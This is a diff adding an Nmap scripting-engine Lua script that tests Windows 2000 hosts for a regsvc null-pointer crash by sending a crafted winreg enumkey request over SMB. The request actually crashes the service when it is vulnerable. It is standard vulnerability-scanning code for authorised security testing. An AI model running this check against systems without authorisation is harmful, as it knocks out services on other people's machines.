@ -0,0 +1,128 @@
local msrpc = require "msrpc"
local nmap = require "nmap"
local smb = require "smb"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local vulns = require "vulns"
description = [[
Checks if a Microsoft Windows 2000 system is vulnerable to a crash in regsvc caused by a null pointer
dereference. This check will crash the service if it is vulnerable and requires a guest account or
higher to work.
The vulnerability was discovered by Ron Bowes while working on <code>smb-enum-sessions</code> and
was reported to Microsoft (Case #MSRC8742).
This check was previously part of smb-check-vulns.
]]
---
--@usage
-- nmap --script smb-vuln-regsvc-dos.nse -p445 <host>
-- nmap -sU --script smb-vuln-regsvc-dos.nse -p U:137,T:139 <host>
--
--@output
--| smb-vuln-regsvc-dos:
--| VULNERABLE:
--| Service regsvc in Microsoft Windows systems vulnerable to denial of service
--| State: VULNERABLE
--| The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
--| pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
--| while working on smb-enum-sessions.
--|_
---
author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon <calderon()websec.mx>"}
copyright = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive","exploit","dos","vuln"}
-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill
-- other scans have had a chance to run)
dependencies = {
"smb-brute", "smb-enum-sessions", "smb-security-mode",
"smb-enum-shares", "smb-server-stats",
"smb-enum-domains", "smb-enum-users", "smb-system-info",
"smb-enum-groups", "smb-os-discovery", "smb-enum-processes",
"smb-psexec",
};
hostrule = function(host)
return smb.get_port(host) ~= nil
end
local VULNERABLE = 1
local PATCHED = 2
---While writing <code>smb-enum-sessions</code> I discovered a repeatable null-pointer dereference
-- in regsvc. I reported it to Microsoft, but because it's a simple DoS (and barely even that, because
-- the service automatically restarts), and because it's only in Windows 2000, it isn't likely that they'll
-- fix it. This function checks for that crash (by crashing the process).
--
-- The crash occurs when the string sent to winreg_enumkey() function is null.
--
--@param host The host object.
--@return (status, result) If status is false, result is an error code; otherwise, result is either
-- <code>VULNERABLE</code> for vulnerable or <code>PATCHED</code> for not vulnerable.
function check_winreg_Enum_crash(host)
local i, j
local elements = {}
local status, bind_result, smbstate
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)
if(status == false) then
return false, smbstate
end
-- Bind to WINREG service
status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
local openhku_result
status, openhku_result = msrpc.winreg_openhku(smbstate)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, openhku_result
end
-- Loop through the keys under HKEY_USERS and grab the names
local enumkey_result
status, enumkey_result = msrpc.winreg_enumkey(smbstate, openhku_result['handle'], 0, nil)
msrpc.stop_smb(smbstate)
if(status == false) then
return true, VULNERABLE
end
return true, PATCHED
end
action = function(host)
local status, result, message
local response = {}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host)
local vuln_table = {
title = 'Service regsvc in Microsoft Windows systems vulnerable to denial of service',
state = vulns.STATE.NOT_VULN,
description = [[
The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
while working on smb-enum-sessions.
]]
}
-- Check for a winreg_Enum crash
status, result = check_winreg_Enum_crash(host)
if(status == false) then
vuln_table.state = vulns.STATE.NOT_VULN
else
if(result == VULNERABLE) then
vuln_table.state = vulns.STATE.VULN
else
vuln_table.state = vulns.STATE.NOT_VULN
end
end
return vuln_report:make_output(vuln_table)
end